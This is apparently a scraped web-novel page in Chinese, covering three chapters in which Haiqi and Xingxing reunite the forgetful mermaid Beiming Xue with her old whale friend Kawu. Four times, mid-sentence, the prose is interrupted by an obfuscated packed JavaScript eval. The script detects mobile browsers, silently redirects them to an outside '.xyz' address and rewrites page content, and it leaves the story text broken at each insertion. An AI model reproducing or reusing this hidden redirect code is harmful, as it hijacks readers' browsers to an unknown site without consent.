海旗咽了咽口水,再次开口提醒:“海域之主不会食言吧?”说出口的话底气并不是很足。 等了许久,在海旗怀疑自己是不是把人亲傻了后,幽野动了动手指,打了个响指。接着感觉一股巨大的冲力将她和北冥雪带走,回过神来之后,她们已经身处海洋里。 不是海沟中心雕像的位置,也不是海沟中阴暗狭窄的裂隙,甚至不是海沟之外与北冥雪遇见的位置。 这是海洋中另一个陌生的地方。 在被幽野赶出来之前,海旗听到了他的声音,他说将星星一同送出去了,让她自己去外面找。 莫非一个吻将对方给亲懵了?这状态是不是不太对啊? 不过这不重要了。 重要的是,这里又是哪儿啊! 北冥雪也和自己失散了。 周围空旷,连鱼都不多见几条。海旗奋力往上游,但事实是,一旦正确的认知霸占意识以后,她就不会游泳了,即使能在水中呼吸。再努力做出标准的蛙泳姿势,身体还是往下沉。 越是下沉,海旗游得越起劲。最后,下沉3米,前进1米…… 罢了,放弃吧。还是保存体力找人要紧。 “呜——呜——” 一首低沉悠长的曲调在海洋中回响。 远处鲸群正在往海旗的方向游来,不断有鲸鱼回应悦耳的歌声,悠扬绵长。 “呜——嗡——” “咿~嗷——” “呜——呜——嗷~~” 海旗在体型巨大的鲸群面前就是蝼蚁尘埃,一个不被注意,将被碾碎,化作鱼食。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603544|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正要让自己下沉得快些,眼尖的海旗注意到,鲸群领头的一个渺小身影,十分熟悉。好像正是星星! 想起在巨虫之森,星星可以通过人类听不见的声波与众昆虫传讯通话。莫非在海洋中,星星这一特异功能也可以正常使用? “海旗——” 真的是星星! “星星!太好了,真的是你!” 海旗张开怀抱,等着星星冲进怀里。 鲸群似乎也在为她们的重逢欢呼,曲调轻盈了些许,节奏明显欢快了。 星星加速冲进游动,猛地扎进海旗的怀中,同时被簇拥于鲸群之中,还有几条年幼的小鲸鱼围着她们转圈,为她们高兴欢呼。 海旗说:“我找了你好久,你都去哪儿了?” 星星没有说话,一个劲地往海旗身上拱了几下,直到啜泣的声音溢出来。 “原来你还是个小爱哭鬼呢。”海旗拍拍她的背,后知后觉地发现,自己不知为何可以在海中开口说话而不会呛水了,但如今来不及细究了。 星星哭了好一会儿,才离开海旗的怀抱:“还好你还在。” 海旗揉了揉她的小脑袋:“我一直都在的。别伤心了哦。” 海旗和星星讲述了来到海底世界后与小美人鱼北冥雪的相遇,以及从海域之主手中“夺”回她的前情概要,告知了对海域之主幽野存在的疑问,还有就是与北冥雪失散的现状。星星也述说了自己的遭遇。 随着海旗用青凤抛进海中后,星星也紧随其后跟着进入海底。但下一秒,她就和海旗分开了。 星星来到一个海洋战场,人鱼与海妖在厮杀,整片海洋都被染红了。星星担忧海旗会被误伤,一路穿梭找寻,却始终找不到,最后太疲惫晕厥过去,醒来时发现自己被一条美丽的雄性人鱼捡走。而后自己一直昏睡无法清醒,也不知道睡了多久。等醒来的时候,被那人鱼告知,自己在找的人就在海洋的尽头。 而途中巧遇迁徙途中的鲸群,频率匹配上后,得知它们的目的地是一样的,所以为星星带了一段路。 通过对峙,可以确定捡走星星的人鱼正是海域之主幽野。 海旗有疑问了:“可我看到的幽野是长着一双人类长腿的。” 星星说:“他都是海域之主了,鱼尾变人腿应该不难吧?” “好吧,你有理,我信你。”想到了之前她对于蛇为什么是虫主的解释,觉得也并非没有道理。海旗又接着想到那两个吻,摸了摸嘴唇,自言自语道,“那我能在海里说话是不是也和海域之主有关呢?” “但我不明白,海域之主为什么要你的吻?”星星发出灵魂一问。 海旗放下手,笑道:“我也不明白。” 她注意到,在和星星说了那么久话的同时,旁边一直有一条鲸鱼停留在原地,没有随着鲸群游动。而且它的眼睛一直停留在海旗身上。 “不说这个了,这边这位……”海旗指了指它,不知该怎么称呼,“星星你能和它沟通吗?” “你刚提到了北冥雪。”鲸鱼没有开口说话,但它的声音直接出现在海旗的意识中。 海旗缓缓点头:“是的,你认识她吗?” “我叫咔呜,是北冥雪的朋友。但她记性不好,肯定忘记我了。”鲸鱼再次传音在海旗脑子里。 星星游到海旗肩膀处坐下,说:“我们帮它和小美人鱼见一面吧。” “你也能听见?”海旗诧异道。 20. 海洋尽头的鲸群 “虽然不知道你是怎么连上鲸鱼的声波的,但我确实能听见没错。”星星点头。 海旗和鲸鱼商量道:“我愿意帮你。我和她有过约定,我也必须找到她。在此之前,能请你说说关于你们的故事吗?” 咔呜答应了,将它与北冥雪的故事娓娓道来。 五百年前,又一次海妖厮杀结束后,海域里迎来了一位人鱼公主。 没人知道她从哪儿来,又是来干什么的,更没人愿意接近她。但人鱼公主是个火热性子,常与各位虾兵蟹将凑近乎,帮助了不少受伤的海洋生物。 但她还是得不到认可,依然被冷眼相待。人鱼公主虽然落寞,但第二天就重新收拾好心情,与大家笑脸相迎。 当时咔呜与鲸群刚好来到这片海域,听闻了人鱼公主的传言,也被家人交代了不要与她相近。原本咔呜谨记着家人的话,直到一次落单,它被一群幼鲸困在了石洞中,出不去。 同伴们都不管它,抛下它离开了。是人鱼公主发现了它,并花了好大力气破开石头救它出来的。 “你为什么要听它们的话进去这个狭小的空间?”人鱼公主问咔呜。 咔呜也很委屈:“我不知道我进去了会出不来,也没想到他们会抛下我……” “好吧,反正你现在已经没事了,你回家去吧。”人鱼公主赶咔呜走。 咔呜鼓起勇气说:“那个……你好漂亮,我可以和你交朋友吗?” 人鱼公主拒绝了:“在这里,没人愿意和我交朋友。被别人知道了,你也会跟着被孤立的。” 咔呜却说:“我不怕!而且我本来就是被孤立的那个。” 人鱼公主还是摇头拒绝,无论咔呜怎么磨,就是不肯答应。 “那……那你能告诉我你叫什么吗?”咔呜实在没辙了。 于是,她们交换了名字。人鱼公主就是北冥雪。 咔呜想着,这次不行也没关系,反正鲸群还会在这片海域好长一段时间,一定可以磨到北冥雪愿意与自己交朋友的。 第二天,咔呜到处寻找北冥雪的身影,直到天黑前,才在一处偏僻的角落找到坐在石头上望着海面在发呆的人鱼公主。 咔呜问她:“你不开心吗?” 北冥雪听到声音望过来,眼神迷茫:“你是谁?” 咔呜难以置信道:“你不记得我了吗?” “我记性不好,”北冥雪习以为常地解释,神情落寞,“要是我对你做了什么不好的事情,那么我向你道歉,对不起。请你别赶我走,我没地方去了……” “没有的事,我……我不是来赶你走的!不对,我不会赶你走的!”咔呜慌慌张张地在北冥雪身边转圈圈,摇着鳍结结巴巴的,“是你昨天帮了我,我是来感谢你的,你没有对我做过不好的事情!我叫咔呜,你还想得起来吗?” 咔呜还详细说明了昨天自己如何被困,又如何被解救的。 北冥雪低头望着自己的手呢/喃:“原来我手上的伤是这么来的啊。” 咔呜提议道:“那个,要不我唱歌给你听吧,你不要不开心了。” “呜——呜——” 鲸鱼独特的鸣叫声非常悦耳,北冥雪眉眼一弯就笑开了。 咔呜每天都会去找北冥雪玩,每一次她都是自己一个人待着的,孤独孤僻。有一回,咔呜问她为什么总是不开心,明明自己都不记事。 北冥雪说:“虽然我记性不好,但身体记得被讨厌被仇视的目光,悲伤敏感的情绪也没有被遗忘,被遗忘的只有记忆。” “反正大家都不喜欢我,我只好自己待在这个小角落里,还有留我一寸之地我已经很满足了。” 咔呜却说:“没关系,有我喜欢你呢!” 北冥雪说:“可你还有族群,不久之后,你就得跟着你的迁徙走了。然后我就会开始忘记你,就算下次再见到你,我也记不起来你的。” “可你不是说,情绪不会被遗忘吗?”咔呜驳回她悲观的想法,“你不记得我没关系,只要记得我们在一起玩耍的时光都是开心快乐的就好了。我会永远做你的朋友。” 咔呜指着头顶上遥远的海平面,转移话题:“阿雪,你去过海面上吗?” 北冥雪一直看着咔呜,被它的话动摇,说:“……我不记得了。” 咔呜一个翻转,将北冥雪顶在自己背上,鱼尾一甩往海面上游:“今天天气可好了,我带你去看蓝天白云。你坐稳了,我要加速了。” “好啊。” 那天,她们在海面上漂泊了一天,到了晚上都没回去,因为夜晚的星空更美,还见证了一场流星雨。 流星雨下,咔呜说:“阿雪,我们已经是朋友了对吗?”它还执着于这个关系。 北冥雪将手搭在它的鳍上,肯定地说:“我们已经是好朋友了,我会努力不忘记你的。” 之后每次去找北冥雪玩时,咔呜还会带上在路上捡的美丽贝壳。 看着被北冥雪捧在手中的贝壳,咔呜又有了新的主意,但它没有立刻告诉她,而是自己偷偷准备着。 因为和北冥雪接触多了,咔呜理所当然地被这片海域的生物圈孤立了,就连它的妈妈也再三警告不要继续靠近人鱼公主。 咔呜不明白,为什么它们都不喜欢人鱼公主。 鲸鱼妈妈告诉它:“人鱼族不是什么好东西,海洋里生物都可能沦为她的口中食盘中餐。” 鲸鱼妈妈还说:“而且五百年前,海洋爆发过人鱼族与海妖的战争,人鱼族靠着凶狠狠辣赢了,谁知道她会不会哪天凶性爆发将我们都杀了?” 咔呜反驳:“阿雪才不会!”但仔细想来,它没有见过北冥雪进食过,并不知道她的食物是什么。 下一次躲过妈妈的阻拦后,咔呜抓了些小鱼小虾带给人鱼公主。 “你肚子饿吗?我给你带了吃的。”然后张嘴吐/出还活蹦乱跳的鱼虾给北冥雪。 北冥雪很开心地收下了这份礼物:“谢谢你,小鱼很美味。” 咔呜很开心,他们的食物是一样的,回去就反驳了鲸鱼妈妈。 可鲸鱼妈妈又说:“那又怎么了,她现在可以吃小鱼小虾,发起狠来也可以吃我们!” 咔呜生气地反驳:“才不会呢!阿雪是我的朋友,我不许你这么说她!我不理你了!” 说完推开妈妈,扭头就游走了,来了场轰轰烈烈的离家出走。 咔呜无处可去,刚和北冥雪告别了回家,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610605|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好意思再去找她。于是它偷偷跟着北冥雪,看看她在自己不在的时候会做些什么。 自从有了小鲸鱼的陪伴,北冥雪比先前要开朗许多。咔呜回家后,也不至于一个人孤僻地坐在石头上伤感往事、眺望远方了。 北冥雪还是会尝试与其他海洋生物说说话,看看有没有需要自己帮忙的,即使面对都是嫌弃唾骂的话语。 她来到一处海龟家族的地盘,海龟群正自在地玩闹,一瞥见那抹人鱼身影,就招呼族人快速游走了。 有一只海龟幼崽游得慢,没有跟上家长的速度,游得急了就被海草缠住了身体。看到人鱼公主越来越近,挣/扎间海草缠得越紧,就快窒息了。 北冥雪解救了小海龟,还没来得及开口说话,海龟家长就快速游回来抢回自己的幼崽:“别碰我的孩子!休想吃掉它!”然后迅速逃走了。 “……我不会吃它的。”北冥雪的手还悬着,小声委屈地反驳。 再继续往前游,见到她的海洋生物全都立刻掉头游走,不愿意看见她。 一只小章鱼趾高气扬地指着她说:“看在你曾经帮过我们的份上,已经给了你一处容身之地,你还要出来游荡做什么?” 北冥雪深深叹了口气,还是挤出笑容道:“好吧,我回去就是了。” 转身往回时,咔呜躲得慢了一步,北冥雪看到了一抹鱼尾还未来得及藏起来。她游近轻轻一戳,调皮地问:“小鲸鱼怎么不回家偷偷跟着我呢?你这样不乖的哦~” 咔呜暴露后,低头嘟着个嘴巴不说话,一脸不开心。北冥雪就问:“怎么啦?谁又欺负你了?” “我没被欺负,”咔呜摇摇头,“被欺负的明明是你,为什么你还能笑得出来?” 北冥雪很认真地想了一下,说:“因为有你在啊。你不回家吗?我记得你说你要回家了。” 咔呜没有隐瞒:“……我离家出走了。” “……”北冥雪沉默了。她猜得到咔呜离家出走的原因必定是因为自己。 “咔呜,我们再去看一次星空,好吗?”北冥雪没有说什么安慰的话,只是轻声询问。 咔呜有些意外,去海面看星空已经是好一段时间前的事了,意外北冥雪竟然还记得。怔愣了一下很快就回答道:“好。” 但是今天的天气不好,海面上下着狂风暴雨,一颗星星都没看见。 “啊——”北冥雪迎着风高声呐喊。喊叫能让人短暂忘记烦恼,连带所有不愉快的情绪。 咔呜也配合着高声:“呜——” 雨水跟随呐喊打进嘴巴里,竟然也是咸咸的。 喊叫几声后,北冥雪朝托着自己的小鲸鱼喊道:“咔呜,一会儿回家跟家人认个错知道吗?不可以和家人置气哦!” 咔呜想起和妈妈的争吵,显然还在气头上。鸣叫一声,坚决地拒绝:“我!不!要!” 接着一头扎进海中,扑了北冥雪一脸海水。 “那好吧,要不我给你唱首歌怎么样?”北冥雪又想了个法子。 咔呜眼睛一亮:“好啊!” “那……听完我唱的歌之后,就不可以再生气了哦。”见咔呜还想闹脾气,北冥雪斩钉截铁道,“就这么说定了!” 21. 离别的赠礼 人鱼美妙的歌声与海浪交织,风雨和雷鸣为其伴奏。小鲸鱼不断跃出水面,打着节拍,歌声唤来了成群的水母。 人鱼公主在水母群中独唱独舞。 海草摇曳,珊瑚飘摇,歌声引来鱼儿起舞。北冥雪将咔呜拉回海里,握着双鳍在鱼群中欢跳。 雨夜乌云密布,星空却在海中闪耀。 咔呜履行了和北冥雪的约定,回家后别别扭扭地和妈妈道了歉,妈妈也反思了自己,母子和好如初。 “可是,她记性不好,等我们启程离开后,会忘记你的。”鲸鱼妈妈提醒道。 “不会的,我会让阿雪记得我的。”咔呜神秘兮兮地说,“而且我已经想到办法了。” 咔呜连续好几天提前与北冥雪告别,自己偷偷躲起来忙碌。经过一段时日的磋磨,总算完成,当晚兴奋得差点没睡着。 第二天天一亮,顶着两个重重的黑眼圈就迫不及待去找北冥雪,将精心调磨的礼物送给她。 “这是什么?”北冥雪已经依稀能记住每日来找自己的咔呜了,好奇地捏起硬塞进手里的小东西问。 咔呜期待地问:“你喜欢吗?” 这是一个被做成鲸鱼形状的贝壳吊坠。 “当然喜欢。这个小鲸鱼刻的是你吗?”北冥雪将吊坠举高看得仔细,“我还从来没有收到过礼物呢。” “嘿嘿!”只见咔呜神秘兮兮地,突然将藏在背后的鳍伸出来,露出另一个吊坠,“我做了一对,给你的小鲸鱼代表的是我,以后你看到它就能想起我啦!我这个鱼尾也代表你,我们一人一个,这是属于我们友谊的信物。这样,我们就永远都不会忘记彼此了。” 听闻此意,北冥雪将吊坠轻轻地握在手心,郑重道:“谢谢你,咔呜。我会好好保管的。” 她没办法作出同样不会忘记对方的回应,但这份心意将会永远镌刻心底。 “你快要离开了,是吗?”北冥雪突然问,眼底划过一瞬落寞。 咔呜没注意到,直白道:“嗯,妈妈和我说过,鲸群即将启程了。不过没关系,等我下次回来,我就长大许多了,到时候我保护你,一定不会让你再被它们!” 听到咔呜如此稚气十足又诚意满满地承诺,北冥雪一下又释然了,扑哧一笑:“好啊,我等你长大。等你回来,我们再去看星空,去看流星雨。我会想办法记住你的。” “那我们可说定了哦,不许食言!”咔呜睁着水灵灵的大眼睛,对下一次的返程充满期待。 “决不食言。”北冥雪伸出手,碰了碰咔呜的鳍。 接下来的日子,为了让北冥雪加深记忆,咔呜随时指着北冥雪脖子上的吊坠进行灵魂发问。 这是什么?哪儿来的?谁送的?送你的时候还说了什么话?什么?你忘记了?那我再跟你说一遍,你绝对不可以忘记!什么啊,原来你记得啊,你居然学会逗我玩了!不过算了,只要你记得,我就让你逗吧! 鲸群启程的日子很快到来。 临行前,咔呜憋着眼泪问北冥雪:“阿雪,等我长大以后,成为鲸群的领袖,你和我们一起走,好吗?” 北冥雪是被人鱼族排挤并放逐到海洋中的,因为她是个笨蛋,只能记住当天的记忆,高贵的人鱼族容不下如此蠢笨的她。然后一直一个人在深海中游荡,因为不记事,每天笑嘻嘻过得也没什么烦恼。 但从未有生物愿意接纳这样的自己,好不容易自己的记性有点长进了,不至于咔呜每天来找自己都要做自我介绍了。 面对咔呜真诚地邀请,北冥雪又怎么忍心拒绝呢? “好啊,那我等你当上首领的那天,等你来带我一起走。” “那……你不可以忘记我们的承诺,一定不能忘记!”咔呜拍了拍自己胸口挂着的吊坠,提醒她。 北冥雪也握住自己的那个吊坠:“嗯,我会努力记住的。” 咔呜的眼泪终于决堤了,绕着北冥雪游了好几圈。 北冥雪为它擦去泪水,也忍着自己的眼泪:“别哭啦,我们很快就能再见了。” 咔呜最后是被它的妈妈强行拉着游走的,它哭得好大声,它舍不得阿雪,也害怕阿雪被其他海洋生物欺负。 一直等到看不见鲸群了,来自咔呜“呜呜”的尾调都还未散尽。北冥雪在这样石头上坐了一/夜。 鲸群的旅程开始后,需要将近三年时间才会再一次回到海洋尽头的海域。人鱼族是长生物种,三年时间对于北冥雪而言不过弹指一挥间。可心里一旦有了期待,三年的时间竟然觉得如此漫长。 虽然北冥雪的脑子里对于咔呜的记忆尤为深刻了,但咔呜刻的贝壳吊坠给了她灵感,于是将所有关于咔呜的信息刻画在自己目光所及的石头上,提醒自己对咔呜的思念。 三年对于小鲸鱼的成长也尤其快,咔呜已经长大了一圈,是第一个冲进海洋尽头的海域的,它的妈妈根本拦不住。 咔呜迫不及待地冲到北冥雪的住处,可这里已经没有了人鱼公主的气息。 北冥雪不见了,咔呜天塌了。 咔呜去找了这片海域的所有的生物打听北冥雪的下落。因为它说过,等自己回来要保护她的,所以这三年在迁徙途中表现得非常努力,有什么事都冲在第一个,也赢得了鲸群的赞赏。这三年它成长了许多,体型也大了许多,其他生物一看这体型干不过,也都乖乖说出原委。 原来在鲸群离开大概一年后,有一群调皮的小海龟在北冥雪的住处附近玩闹时,遇到危险,差点被鲨鱼吃了,是北冥雪及时救下了它们。 但是吊坠的绳子一不小被鲨鱼咬断了,吊坠掉了。北冥雪返回去找,却怎么也没找到。 甚至小海龟们回家后,家长不管不顾过来将北冥雪斥责了一顿,说是她将鲨鱼引来的,还将她的住处砸了。 北冥雪没有与它们置气,只是一笑而过。 因先前咔呜和她关系要好,最后也没有如传闻的一样被人鱼发狠吃掉。所以有些幼崽们不听阻拦会偷偷靠近北冥雪,把她家当作探险基地,玩得不亦乐乎。而一旦出事了,就被家长不分青白地指责,认为所有灾难一定是人鱼族带来的。 随着想要靠近人鱼公主的幼崽们越来越多,家长们决定,联手将北冥雪赶出去这片海域。 也因为弄丢了吊坠,北冥雪常常出现在丢了吊坠的位置寻找,于是设计了一场戏。 它们将一只水母作为诱饵绑在一群茂盛的海草中,靠着本身的光亮,吸引北冥雪的注意。在被北冥雪解救后,趁其不意电晕了她,以防她醒得太快,一只浑身长了圆圈的章鱼还给她注入了大量毒素。要不是人鱼体质特殊,北冥雪早就被毒死了。 然后将北 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616923|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冥雪丢进洋流中,任其漂流,不知去处。 就这样,咔呜问出真相后,去找罪魁祸首的海龟和章鱼打了一架,满身狼狈。 后来,咔呜又去了北冥雪弄丢吊坠的地方,想帮忙将吊坠找回来。但是那个小小的鱼尾吊坠那么轻,早就不知道飘到哪儿去了。 咔呜想着,自己重新做一个再送给北冥雪就好了。 可是它的人鱼公主也不知道被洋流送去何方了。 它来到北冥雪被丢进洋流的位置,此时海洋中是风平浪静的,没有洋流,气息已经散了。 咔呜找不到阿雪了。 认清事实真相后,咔呜消沉了好久。之后的每一次旅程,它都在寻找人鱼公主。 咔呜如愿成为了鲸群的首领,一旦有人鱼公主的消息,它都会前去看看,可每一次都是扑空。 “我找了五百年,扑空了五百年。我希望这次是真的。”咔呜仰着头长鸣。 “呜——” 众鲸群也跟着纷纷回应它。 海旗轻轻抚摸着鲸鱼滑溜但粗糙的皮肤,轻声道:“这次不会再扑空了,这次我们陪你一起去找北冥雪。” 咔呜艰难地摇了摇头:“我老了,游不动了。” “可是……”可是咔呜在海旗脑子里的声音明明那么年轻。 咔呜无奈地笑了笑:“再一次回来海洋的尽头,远远又听到了你们的话,我有点着急,游得快了些,快把我的力气花完了。” “那你留在这里休息一下,我们去帮你把北冥雪找回来。”海旗保证道,“不会花太长时间的。” “谢谢你,人类。”咔呜又张开嘴巴,“我长大后,吊坠戴不起来了。我把它放在我嘴里了,想麻烦你帮我把它交给阿雪。” 海旗答应了:“好。” 星星游进去咔呜的嘴里,没多久就在左边大牙的缝隙中找到了。两个吊坠被一根细绳子串着,挂在牙齿上。 把吊坠放到海旗手里,细细看了看:“好漂亮,阿雪刚收到它的时候一定很开心吧。” 咔呜眯起眼睛,愉悦的声音在脑海中回荡:“是啊,那天她嘴角的笑就没下来过呢。” 根据咔呜的述说,海旗和星星来到了北冥雪曾经的住处。 说是住处,但其实除了伫立在海底的大石头和成片的珊瑚群之外,连小丑鱼都没有一条。 翻了翻附近的石头,企图找到曾经留下的痕迹。但显然在海底也没逃过被海水冲刷腐蚀,什么有用的信息都没翻出来。 “海旗,来这里。”星星在一片珊瑚群中,指了指其中一块珊瑚下的石头。 这颗石头很大,顶上长了珊瑚,底下则被藤壶占据。然而藤壶们似乎有意识般绕开了什么,空出来的缝隙像是一个图案。 海旗使劲将藤壶剥落,露出石头表层,图案清晰了许多。 “这个是……”星星还在努力辨认图案形状。 “是咔呜吧,北冥雪刻的咔呜的样子。”海旗抢答道,“要是有相机就好了,可以拍下来回去给咔呜看,它会很开心吧。” 星星也深表同感地叹了口气:“我们还是找找人鱼公主到底在哪儿吧,希望她会在这里。” 海旗认真道:“我想,这里对北冥雪一定意义非凡,重新回到这儿,就算记忆不记得,身体也会本能地回来。” 22. 重逢 鲸群游过带动水流,珊瑚也跟着舞动。 “我们往前面去看看吧。”海旗指了指前方的垒得同城堡一样的石碓,表面长了一层五颜六色的苔藓。 星星眺望着另一边水草丛生的位置,说:“我们兵分两路吧,我去那边。” 海旗:“好。” 擦去表层的苔藓,石堆上果然也有浅显的划痕。海旗还蛮意外的,尽管在梦境中,但时间线可是切切实实过去了五百年之久,海底石头的刻痕居然还能留下。一时不知道是自己知识没匹配上,还是确实可以保留如此之久。 尽管线条已经模糊,唯有留下的情感依旧清晰。 海旗没有在这里看到熟悉的人鱼身影,正准备往其他位置去找,余光瞥见一抹靓丽的蓝紫色,正缩在石头缝中,位置隐蔽,差点没瞧见。 “北冥雪?”海旗喊了一声,“你怎么藏在这儿了?” 听到有人喊她,北冥雪迷茫地抬头望着声音传来的方向。 一瞧见她这眼神,海旗暗道:坏了! “你是?”果然!她忘记了! 海旗游近到她身边,一同挤进石头缝里。北冥雪不明所以,但还是往里挪了挪给海旗腾出位置。 简单做了个自我介绍后,海旗问她:“你为什么要藏在这里啊?” 北冥雪很快接受了海旗这个“新朋友”,重新展露笑容:“嘿嘿,我在玩捉迷藏呢。刚刚有很凶的鲨鱼要吃我,追了我一路,还好我跑得快藏起来了。你说它能找到我这里来吗?” “嗯……这个游戏还挺小众的哈。”海旗蹙眉说完,突然抓起北冥雪的手,将她掌心摊开,“我给你变个魔术吧,一个人类的小把戏。” 北冥雪的神情由错愕转为期待:“那你开始吧。” 海旗咋咋呼呼地展示了两次空手后,第三次手在张开时,一根绳子穿着的两个吊坠落入北冥雪的掌心,直接惊呆了对方。 “哇哦~好神奇啊!你是怎么做到的?”北冥雪惊喜地翻看着手上的吊坠。 海旗骄傲地摇摇手指:“这是秘密,不能告诉你。” “没事的,你可以跟我说,反正我也记不住,不用担心我泄密的。”北冥雪此刻求知欲旺盛,甚至歪着头蹭着海旗的肩膀撒娇。 海旗再三拒绝这是秘密后,北冥雪才将注意力转移到手中的吊坠上,看着看着眼神突然一愣:“我是不是在哪儿见过……” “海旗?你这边搜索完了吗?”星星从另一边空手而归了。 海旗拍了拍北冥雪:“我已经找到我的伙伴了,我介绍你们认识一下吧?” 北冥雪被吸引了注意力:“好啊。” 海旗看出了北冥雪的神情有一丝不对劲,猜测她看到吊坠后或许心里觉得熟悉,有了疑惑。 但奈何她的遗忘症至少五百年之久,要想起五百年前的回忆,没有外力刺/激一把,对她来说绝非轻易之事。 海旗回应道:“星星,我在底下,快下来。” 星星循声来到挤着两人的石头缝中,先是震惊:“你为什么要挤在里面?” 在见到里面的梦幻绝美的蓝紫色人鱼后,再是惊艳:“哇哦~好漂亮的人鱼姐姐!” 北冥雪被夸得开心了,暂且将手中的吊坠挂在脖子上,热情地去拉星星的手:“哇!你也好精致、好可爱啊!” “这又是什么物种啊?好独特啊?” 海旗为两人做了简单的介绍,互相报了名字。 北冥雪瞬间好奇宝宝上身,还将星星拉过来这摸一下那捏一下:“哪里还有这样的吗?我也想要一只!” 星星显然也招架不住人鱼姐姐的热情,很快就苦着脸朝海旗抛去求救的眼神。海旗这回了她一个“我也没辙,你还是自求多福吧”的眼神。 “哈哈……我这样的没有再多的了……”星星的小脸蛋都被揉得变形了,“而且你不是有一只属于你自己的了吗?” 闻言,海旗默默地给星星竖了个大拇指,干得太漂亮了! 北冥雪浑身一颤,没明白星星的话:“什么……意思?” “就……这个啊。”星星指了指她胸口处的吊坠,随后又凌乱地想起来,人鱼姐姐忘性大,还没想起来呢! 这时海旗插话道:“阿雪,我们带你去见一位老朋友吧,”说完从石头缝隙中退出来,伸出手邀请,“好吗?” 北冥雪被海旗的这个称呼僵在原地,不知道为什么,感觉好熟悉。 星星见她不动,于是自己手动抓起北冥雪的手搭上海旗的手:“好的。我们走吧。” 轻轻一使劲,北冥雪就被拽出来了。 海旗说:“你之前跟我说,你弄丢了一样珍贵之物,虽然不记得,但你依然很想将它找回来,却大海捞针,怎么也找不到。” “你说它很重要,一定要找回来才行。后来我说,我陪你一起找。” “我的运气比你好一点,率先帮你找到了。现在,我带你去见它。” 对于海旗的话,北冥雪潜意识一直有这么个印象,就是一定要找到那个被自己弄丢的珍贵之物。 可现在海旗跟她说,她帮她找到了,北冥雪只觉得脑子嗡嗡地,嘴巴下意识地开口:“真的吗?” “真的,我带你去见它。”海旗耐心地重复。 海旗牵着北冥雪先是游到方才发现的划痕处,轻声询问:“你知道这些划痕都是什么吗?” 北冥雪直直地盯着,情不自禁地伸手抚摸,闭上双眼轻轻感受。 脑海中好像快速闪过许多场景,那些都是自己抓不住的记忆。小美人鱼在这些记忆下拼命跳脚,画面一幕幕从手中穿过,直到被一个巨大的身影遮住了视线。 抬头望去,只见深黑的粗糙纹路。耳边传来如同天籁的长啸,身影明了。 睁开眼后,眼前一头巨大的鲸鱼恰好在眼前游过。 “……鲸鱼?” 海旗牵着她往咔呜所在的方向游,向她解答周围畅游的鲸群:“今天是鲸群回到海洋尽头的日子。” 北冥雪的心猛地一跳,另一只手拿起吊坠查看。 一个是鱼尾形状的,一个是鲸鱼形状的。 手指不断摩挲着鲸鱼形状的那个,刚才石头上的划痕,好像也是鲸鱼形状的。 在石头上刻下鲸鱼形划痕时,心里似乎是不甘心的。可是为什么不甘心呢? 是因为自己快要忘记它了吗?它是谁呢?它好像很重要,忘记了的话,对方会难过的。 “海旗,我有点慌,我害怕……”北冥雪抓紧了海旗的手。 海旗拍了拍她的手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621172|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星星也轻轻拍着她的背,安抚道:“别怕,它不会责怪你的。” 听到海旗这么说,北冥雪深深地舒了口气。 游过的鲸群瞧见人鱼身影,都会多看几眼。过多的目光停留也让北冥雪的心跳愈来愈快。 “阿雪。”熟悉的声音传入北冥雪的意识中。 海旗和星星对视一眼,牵着北冥雪加快速度来到那头停在一处一动不动的巨大鲸鱼面前,并将北冥雪的手拉着放到咔呜身上。 “你丢失的珍贵情谊,如今就在你眼前了。”海旗说完就退开一定的距离,将空间留给她们。 咔呜开口道:“阿雪,今天还记得我吗?我叫咔呜,我们是非常好的朋友哦。”尽管声音听起来很年轻,却难掩其中的沧桑。 短短一句话,让北冥雪一伸手就抓住了某些纷飞的记忆。 “……我可以和你交朋友吗?我叫咔呜……” “你今天果然又忘记我了啊,没办法,我再重新自我介绍一下吧,我叫咔呜,嗯……我们在两天前成为了朋友哦。” “阿雪,我来找你啦!我叫咔呜,我是你的朋友哦。” “今天还记得我吗?我叫咔呜,我们是好朋友!” 